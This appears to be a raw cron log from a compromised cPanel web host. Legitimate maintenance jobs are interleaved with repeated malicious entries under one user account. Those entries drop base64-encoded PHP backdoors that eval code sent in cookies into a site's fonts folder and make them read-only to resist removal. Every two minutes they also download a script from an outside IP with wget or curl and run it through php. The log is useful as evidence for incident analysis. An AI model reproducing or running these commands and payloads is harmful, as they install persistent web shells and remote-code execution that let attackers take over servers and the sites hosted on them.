Aug 31 02:11:01 ip-184-168-122-23 CROND[10637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:11:01 ip-184-168-122-23 CROND[10636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:11:01 ip-184-168-122-23 CROND[10639]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Aug 31 02:11:01 ip-184-168-122-23 CROND[10640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:12:01 ip-184-168-122-23 CROND[10725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:12:01 ip-184-168-122-23 CROND[10729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:12:01 ip-184-168-122-23 CROND[10730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:12:01 ip-184-168-122-23 CROND[10728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:12:01 ip-184-168-122-23 CROND[10727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:13:01 ip-184-168-122-23 CROND[10813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:13:01 ip-184-168-122-23 CROND[10815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:13:01 ip-184-168-122-23 CROND[10816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:13:01 ip-184-168-122-23 CROND[10817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:14:01 ip-184-168-122-23 CROND[10986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:14:01 ip-184-168-122-23 CROND[10988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:14:01 ip-184-168-122-23 CROND[10989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:14:01 ip-184-168-122-23 CROND[10990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:14:01 ip-184-168-122-23 CROND[10991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:15:01 ip-184-168-122-23 CROND[11096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:15:02 ip-184-168-122-23 CROND[11099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:15:02 ip-184-168-122-23 CROND[11100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:15:02 ip-184-168-122-23 CROND[11101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:15:02 ip-184-168-122-23 CROND[11104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:15:02 ip-184-168-122-23 CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:15:02 ip-184-168-122-23 CROND[11102]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 02:16:01 ip-184-168-122-23 CROND[11207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:16:01 ip-184-168-122-23 CROND[11208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:16:01 ip-184-168-122-23 CROND[11210]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:16:01 ip-184-168-122-23 CROND[11212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:16:02 ip-184-168-122-23 CROND[11215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:16:02 ip-184-168-122-23 CROND[11216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:17:01 ip-184-168-122-23 CROND[11305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:17:01 ip-184-168-122-23 CROND[11309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:17:01 ip-184-168-122-23 CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:17:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:18:01 ip-184-168-122-23 CROND[11396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:18:01 ip-184-168-122-23 CROND[11394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:18:01 ip-184-168-122-23 CROND[11395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:18:01 ip-184-168-122-23 CROND[11397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:18:01 ip-184-168-122-23 CROND[11400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:19:01 ip-184-168-122-23 CROND[11490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:19:01 ip-184-168-122-23 CROND[11493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:19:01 ip-184-168-122-23 CROND[11492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:19:01 ip-184-168-122-23 CROND[11494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:20:02 ip-184-168-122-23 CROND[11607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:20:02 ip-184-168-122-23 CROND[11608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:21:01 ip-184-168-122-23 CROND[11745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:21:01 ip-184-168-122-23 CROND[11748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:21:01 ip-184-168-122-23 CROND[11747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:21:01 ip-184-168-122-23 CROND[11749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:22:01 ip-184-168-122-23 CROND[11831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:22:01 ip-184-168-122-23 CROND[11833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:22:01 ip-184-168-122-23 CROND[11836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:22:01 ip-184-168-122-23 CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:22:01 ip-184-168-122-23 CROND[11835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:23:01 ip-184-168-122-23 CROND[12004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:23:01 ip-184-168-122-23 CROND[12007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
